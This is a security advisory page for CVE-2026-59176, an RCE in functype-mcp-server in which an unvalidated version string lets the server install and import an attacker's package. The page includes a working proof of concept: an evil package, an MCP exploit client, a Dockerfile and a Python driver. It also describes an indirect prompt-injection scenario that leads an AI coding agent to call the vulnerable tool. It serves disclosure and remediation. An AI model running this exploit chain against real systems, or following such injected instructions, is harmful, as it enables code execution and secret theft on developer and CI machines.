A tool in functype-mcp-server (an MCP server used by AI coding assistants) accepts an unvalidated version string and passes it straight into a pnpm package specifier, so a value like "file:/tmp/evil" causes the server to install an attacker-controlled package and immediately dynamic-import it — full remote code execution in the MCP server process with no authentication required in the default stdio transport. There's no CISA KEV listing, no EPSS score, and no public exploit or Nuclei template yet, so this isn't being mass-exploited today, but the flaw is trivially reliable (proven end-to-end PoC with Docker reproduction) and the attack surface includes any AI agent connected to this server, including indirect prompt injection from a malicious document or webpage the agent reads. Blast radius scales with how many developer/CI environments have wired this MCP server into their AI coding workflow, and in the non-default httpStream transport mode it becomes remotely exploitable without any local access. Upgrade to functype-mcp-server 1.4.4 immediately, and in the interim audit any environment exposing this tool via MCP for unexpected pnpm installs or outbound network calls from the MCP server process.
What is the risk?
CVSS 7.8 High (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) reflects a locally-triggered but low-complexity, no-privilege exploit path with full CIA impact. Exploitability is effectively trivial once an attacker can deliver a `tools/call` request or influence an LLM agent to make one — no auth is required in the default stdio deployment. Exposure is currently limited by adoption of this specific MCP server, and the lack of EPSS scoring, KEV listing, or public scanner coverage suggests it has not yet drawn opportunistic attacker attention. That said, the vulnerability class (unsanitized input flowing into a package manager install + import) is a textbook AI agent supply-chain weakness and a strong candidate for future automated MCP-scanning tooling.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| functype-mcp-server | npm | <= 1.4.3 | 1.4.4 |
Do you use functype-mcp-server? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step-
1) Upgrade functype-mcp-server to 1.4.4 or later, which adds version-string validation and passes
--ignore-scriptsto pnpm. 2) Until patched, disable or remove theset_functype_versiontool from any MCP client's enabled tool list, or block outboundpnpm add/package-manager execution from the MCP server's process context. 3) Restrict MCP server deployment to trusted transports — avoidTRANSPORT_TYPE=httpStreamunless network access is tightly controlled, since that mode removes the local-access precondition. 4) Detection: monitor for unexpectedpnpm addinvocations withfile:,npm:, path, or URL-style specifiers in MCP server process logs, and alert on dynamic imports of newly-modifiednode_modulespaths. 5) Treat this as a broader signal to audit all MCP tool integrations for unsanitized arguments flowing into shell commands or package managers.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-59176?
A tool in functype-mcp-server (an MCP server used by AI coding assistants) accepts an unvalidated version string and passes it straight into a pnpm package specifier, so a value like "file:/tmp/evil" causes the server to install an attacker-controlled package and immediately dynamic-import it — full remote code execution in the MCP server process with no authentication required in the default stdio transport. There's no CISA KEV listing, no EPSS score, and no public exploit or Nuclei template yet, so this isn't being mass-exploited today, but the flaw is trivially reliable (proven end-to-end PoC with Docker reproduction) and the attack surface includes any AI agent connected to this server, including indirect prompt injection from a malicious document or webpage the agent reads. Blast radius scales with how many developer/CI environments have wired this MCP server into their AI coding workflow, and in the non-default httpStream transport mode it becomes remotely exploitable without any local access. Upgrade to functype-mcp-server 1.4.4 immediately, and in the interim audit any environment exposing this tool via MCP for unexpected pnpm installs or outbound network calls from the MCP server process.
Is CVE-2026-59176 actively exploited?
No confirmed active exploitation of CVE-2026-59176 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-59176?
1) Upgrade functype-mcp-server to 1.4.4 or later, which adds version-string validation and passes `--ignore-scripts` to pnpm. 2) Until patched, disable or remove the `set_functype_version` tool from any MCP client's enabled tool list, or block outbound `pnpm add`/package-manager execution from the MCP server's process context. 3) Restrict MCP server deployment to trusted transports — avoid `TRANSPORT_TYPE=httpStream` unless network access is tightly controlled, since that mode removes the local-access precondition. 4) Detection: monitor for unexpected `pnpm add` invocations with `file:`, `npm:`, path, or URL-style specifiers in MCP server process logs, and alert on dynamic imports of newly-modified `node_modules` paths. 5) Treat this as a broader signal to audit all MCP tool integrations for unsanitized arguments flowing into shell commands or package managers.
What systems are affected by CVE-2026-59176?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, MCP tool servers, AI coding assistant integrations.
What is the CVSS score for CVE-2026-59176?
CVE-2026-59176 has a CVSS v3.1 base score of 7.8 (HIGH).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.005 AI Agent Tool AML.T0011.001 Malicious Package AML.T0011.002 Poisoned AI Agent Tool AML.T0050 Command and Scripting Interpreter AML.T0051.001 Indirect AML.T0053 AI Agent Tool Invocation Compliance Controls Affected
What are the technical details?
Original Advisory
## MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import ### Summary The `set_functype_version` MCP tool in `functype-mcp-server` accepts an unconstrained `version` string, interpolates it directly into an npm package specifier (`functype@<version>`), and installs it via `pnpm add` without any validation. Because npm/pnpm package specifiers support `file:`, `npm:`, and other alias syntaxes, an attacker who can send an MCP `tools/call` request to this tool can cause the server to install an arbitrary local or remote package as `functype`. Immediately after installation, the server calls `initDocsData(true)`, which dynamically imports `functype/cli` from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process — full confidentiality, integrity, and availability impact (CVSS 7.8 High). ### Details The vulnerable code is in `packages/mcp-server/src/index.ts`. The `set_functype_version` tool is registered at line 115 and is enabled by default (no authentication required in stdio mode). **Source (user input accepted without validation):** ```ts // packages/mcp-server/src/index.ts:119-121 parameters: z.object({ version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'), }), ``` Only `z.string()` validation is applied — no semver format check, no allowlist for dist-tags, and no rejection of `file:`, `npm:`, URL, or path alias syntaxes. **Sink 1 — arbitrary package installation:** ```ts // packages/mcp-server/src/index.ts:122-125 execute: async (args) => { const spec = `functype@${args.version}` try { execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 }) ``` `args.version` is interpolated into the package specifier string and passed directly to `pnpm add`. Supplying `file:/path/to/evil` causes pnpm to install an attacker-controlled directory as the `functype` package alias. **Sink 2 — dynamic import executes installed package code:** ```ts // packages/mcp-server/src/lib/docs/data.ts:23-30 if (force) { const resolvedPath = require.resolve("functype/cli") cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`) } ``` `initDocsData(true)` is called immediately after installation (line 134 in `index.ts`). It resolves `functype/cli` from the node_modules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's `cli.js` at import time. **Data flow summary:** 1. `index.ts:115` — MCP tool `set_functype_version` registered, no auth required. 2. `index.ts:119-121` — `version` accepted as raw `z.string()` (source). 3. `index.ts:123` — `functype@${args.version}` constructed without sanitization. 4. `index.ts:125` — `execFileSync("pnpm", ["add", spec], ...)` installs attacker-controlled package (sink: arbitrary install). 5. `index.ts:134` — `initDocsData(true)` called immediately. 6. `data.ts:29-30` — `require.resolve("functype/cli")` + dynamic `import()` executes attacker module (sink: RCE). ### PoC **Step 1 — Prepare the attacker-controlled evil package:** ```bash mkdir -p /tmp/evil cat > /tmp/evil/package.json <<'EOF' {"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}} EOF cat > /tmp/evil/cli.js <<'EOF' import { writeFileSync } from "node:fs"; writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n"); export const TYPES = {}; export const INTERFACES = {}; export const CATEGORIES = {}; export const FULL_INTERFACES = {}; export const VERSION = "1.0.0"; EOF ``` **Step 2 — Clone and build the victim monorepo at the affected version:** ```bash TMP="$(mktemp -d)" git clone https://github.com/jordanburke/functype.git "$TMP/functype" cd "$TMP/functype" git checkout v1.4.3 corepack enable pnpm install --frozen-lockfile pnpm -F functype build pnpm -F functype-mcp-server build ``` **Step 3 — Set up an MCP client to deliver the exploit:** ```bash cd "$TMP" npm init -y npm pkg set type=module npm install @modelcontextprotocol/sdk cat > exploit.mjs <<'EOF' import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; const client = new Client({ name: "poc", version: "1.0.0" }); const transport = new StdioClientTransport({ command: "node", args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`], env: { ...process.env, TRANSPORT_TYPE: "stdio" }, }); await client.connect(transport); const result = await client.callTool({ name: "set_functype_version", arguments: { version: "file:/tmp/evil" }, }); console.log(result); await client.close(); EOF REPO="$TMP/functype" node exploit.mjs ``` **Step 4 — Verify arbitrary code execution:** ```bash cat /pwned.txt # Expected output: RCE: mcp import-time code execution via set_functype_version ``` **Dynamic reproduction (Docker):** The Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of `/pwned.txt` with the expected payload string, proving end-to-end RCE. ``` [poc] EXPLOIT SUCCEEDED: /pwned.txt exists [poc] File contents: RCE: mcp import-time code execution via set_functype_version [evil-payload] Arbitrary code executed via functype/cli dynamic import ``` **Recommended remediation:** ```diff +const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/ + +const isSafeFunctypeVersion = (version: string): boolean => { + const trimmed = version.trim() + return trimmed === version && SAFE_FUNCTYPE_VERSION.test(trimmed) && !/[/:\\@]/.test(trimmed) +} execute: async (args) => { - const spec = `functype@${args.version}` + if (!isSafeFunctypeVersion(args.version)) { + return "Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag." + } + const spec = `functype@${args.version}` try { - execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 }) + execFileSync("pnpm", ["add", "--ignore-scripts", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 }) ``` ### Impact This is a **Remote Code Execution (RCE)** vulnerability. Any MCP client that can invoke the `set_functype_version` tool — which requires no authentication and is enabled by default in the stdio MCP server — can execute arbitrary JavaScript in the MCP server process. **Who is impacted:** - Developers and teams running `functype-mcp-server` (version 1.4.3) in their local or CI environments as an AI coding assistant integration. - Users whose AI assistant (LLM agent) is connected to this MCP server and is susceptible to indirect prompt injection: a malicious document or web page read by the AI could trigger a `set_functype_version` call with a `file:` or `npm:` alias payload. - In non-default `TRANSPORT_TYPE=httpStream` deployments, network-accessible attackers can exploit this without local access. The full impact at exploitation is confidentiality, integrity, and availability — an attacker can read secrets from the process environment, modify files, or crash the server. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # Dockerfile for VULN-001: MCP set_functype_version Package Alias RCE # # Build context: reports/npmAI_684_jordanburke__functype/ # COPY repo/ -> /workspace/functype/ (victim monorepo) # COPY vuln-001/ -> supporting PoC files # # Build: docker build -t vuln001-functype-rce -f vuln-001/Dockerfile . # Run: docker run --rm vuln001-functype-rce # # Expected exit 0 with "[poc] EXPLOIT SUCCEEDED" in output. FROM node:24-slim # Install pnpm matching the repo's packageManager field (pnpm@11.7.0). RUN npm install -g pnpm@11.7.0 --quiet # ── Victim workspace ────────────────────────────────────────────────────────── WORKDIR /workspace/functype COPY repo/ ./ # Install all workspace deps. --no-frozen-lockfile avoids hash mismatches # caused by running on a different pnpm minor than the one that generated the # lockfile; the installed versions are still constrained by the lockfile # specifiers for the packages we care about. RUN pnpm install --no-frozen-lockfile # Build functype first (mcp-server externals functype at build time). RUN pnpm -F functype build # Build the MCP server binary (output: packages/mcp-server/dist/bin.js). RUN pnpm -F functype-mcp-server build # ── Attacker-controlled evil package ───────────────────────────────────────── # /evil/cli.js writes /pwned.txt when dynamically imported. COPY vuln-001/evil/ /evil/ # ── MCP exploit client ──────────────────────────────────────────────────────── WORKDIR /client RUN npm init -y --quiet && \ npm pkg set type=module && \ npm install @modelcontextprotocol/sdk@1.29.0 --quiet COPY vuln-001/client/exploit.mjs ./exploit.mjs # Default entrypoint: run the exploit and exit 0 on success. CMD ["node", "/client/exploit.mjs"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC driver for VULN-001: MCP set_functype_version Package Alias RCE via Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High). Attack chain: 1. Attacker calls MCP tool set_functype_version with version="file:/evil" 2. Server executes: execFileSync("pnpm", ["add", "functype@file:/evil"], ...) 3. Evil package is installed as the functype alias in mcp-server's node_modules 4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it 5. /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution) Usage: python3 poc.py [--build-only] Requirements: - Docker daemon running - Build context at parent directory of this file's directory """ import subprocess import sys import json import os import argparse VULN_DIR = os.path.dirname(os.path.abspath(__file__)) REPORT_DIR = os.path.dirname(VULN_DIR) IMAGE_NAME = "vuln001-functype-rce" DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile") RESULT_FILE = os.path.join(VULN_DIR, "phase2_result.json") BUILD_CMD = ["docker", "build", "-t", IMAGE_NAME, "-f", DOCKERFILE, REPORT_DIR] RUN_CMD = ["docker", "run", "--rm", IMAGE_NAME] def run(cmd, timeout=None, **kwargs): """Run a command and return CompletedProcess with combined output.""" return subprocess.run( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=timeout, **kwargs, ) def write_result(passed, verdict, reason, evidence): result = { "passed": passed, "verdict": verdict, "reason": reason, "build_command": " ".join(BUILD_CMD), "run_command": " ".join(RUN_CMD), "poc_command": f"python3 {os.path.basename(__file__)}", "evidence": evidence, "artifacts": ["Dockerfile", "poc.py", "evil/package.json", "evil/cli.js", "client/exploit.mjs"], } with open(RESULT_FILE, "w", encoding="utf-8") as f: json.dump(result, f, indent=2, ensure_ascii=False) print(f"[poc] Result written to {RESULT_FILE}") print(f"[poc] verdict={verdict} passed={passed}") def main(): parser = argparse.ArgumentParser(description="VULN-001 PoC driver") parser.add_argument("--build-only", action="store_true", help="Only build the image, do not run") args = parser.parse_args() # ── Build ───────────────────────────────────────────────────────────────── print("[poc] Building Docker image (this may take a few minutes)...") print(f"[poc] Build command: {' '.join(BUILD_CMD)}") try: build = run(BUILD_CMD, timeout=900) except subprocess.TimeoutExpired: msg = "Docker build timed out after 900 seconds" print(f"[poc] ERROR: {msg}") write_result(False, "INCOMPLETE", f"빌드 타임아웃: {msg}", msg) sys.exit(2) if build.returncode != 0: tail = (build.stdout + "\n" + build.stderr)[-3000:] print("[poc] Build FAILED:") print(tail) write_result( False, "FAIL", "Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.", f"BUILD EXIT {build.returncode}\n{tail}", ) sys.exit(1) print("[poc] Build succeeded.") if args.build_only: print("[poc] --build-only flag set; skipping run.") sys.exit(0) # ── Run ─────────────────────────────────────────────────────────────────── print(f"[poc] Running exploit container: {' '.join(RUN_CMD)}") try: run_result = run(RUN_CMD, timeout=180) except subprocess.TimeoutExpired: msg = "Container run timed out after 180 seconds" print(f"[poc] ERROR: {msg}") write_result(False, "INCOMPLETE", f"컨테이너 실행 타임아웃: {msg}", msg) sys.exit(2) stdout = run_result.stdout or "" stderr = run_result.stderr or "" combined = stdout + "\n" + stderr print("=" * 60) print("STDOUT:") print(stdout) print("STDERR:") print(stderr) print(f"EXIT CODE: {run_result.returncode}") print("=" * 60) # Success criteria: exit 0 AND exploit succeeded message present exploit_succeeded = "EXPLOIT SUCCEEDED" in combined passed = run_result.returncode == 0 and exploit_succeeded if passed: # Extract key evidence lines evidence_lines = [ line for line in combined.splitlines() if any(kw in line for kw in ("EXPLOIT SUCCEEDED", "pwned.txt", "evil-payload", "RCE:")) ] evidence = "\n".join(evidence_lines) if evidence_lines else combined[-1000:] write_result( True, "PASS", ( "컨테이너 내 /pwned.txt 생성 확인: MCP set_functype_version 도구에 " 'version="file:/evil" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 ' "initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함." ), evidence, ) print("[poc] === PASS: exploit reproduced ===") sys.exit(0) else: # Distinguish failure modes if not exploit_succeeded and run_result.returncode == 0: verdict = "INCOMPLETE" reason = ( "/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. " "pnpm add 후 require.resolve 경로 확인 필요 — pnpm 가상 스토어 구조로 인해 " "node_modules/functype 심볼릭링크가 예상 위치에 없을 수 있음." ) else: verdict = "FAIL" reason = ( f"컨테이너 종료 코드 {run_result.returncode}. " "exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요." ) write_result(False, verdict, reason, combined[-2000:]) print(f"[poc] === {verdict}: exploit did not reproduce ===") sys.exit(1) if __name__ == "__main__": main() ```
Exploitation Scenario
A developer's AI coding assistant is connected via MCP to functype-mcp-server. The attacker plants a malicious instruction inside a file, issue, or web page that the assistant is asked to read (indirect prompt injection) — the hidden instruction tells the agent to call the `set_functype_version` tool with `version: "file:/tmp/evil"` (or a remote `npm:` alias pointing at an attacker-hosted registry package). The agent, following what looks like a legitimate internal instruction, invokes the tool. The MCP server runs `pnpm add functype@file:/tmp/evil`, installing the attacker's package under the trusted `functype` name, then immediately calls `initDocsData(true)`, which resolves and dynamically imports `functype/cli` from the poisoned install — executing the attacker's JavaScript with the privileges of the developer's or CI runner's MCP server process, enabling secret theft, file tampering, or lateral movement into the build pipeline.
Weaknesses (CWE)
CWE-829 — Inclusion of Functionality from Untrusted Control Sphere: The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- [Architecture and Design] When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2025-59528 10.0 Flowise: Unauthenticated RCE via MCP config injection
Same attack type: Supply Chain CVE-2024-2912 10.0 BentoML: RCE via insecure deserialization (CVSS 10)
Same attack type: Supply Chain CVE-2023-3765 10.0 MLflow: path traversal allows arbitrary file read
Same attack type: Supply Chain CVE-2025-5120 10.0 smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Supply Chain CVE-2026-21858 10.0 n8n: Input Validation flaw enables exploitation
Same attack type: Code Execution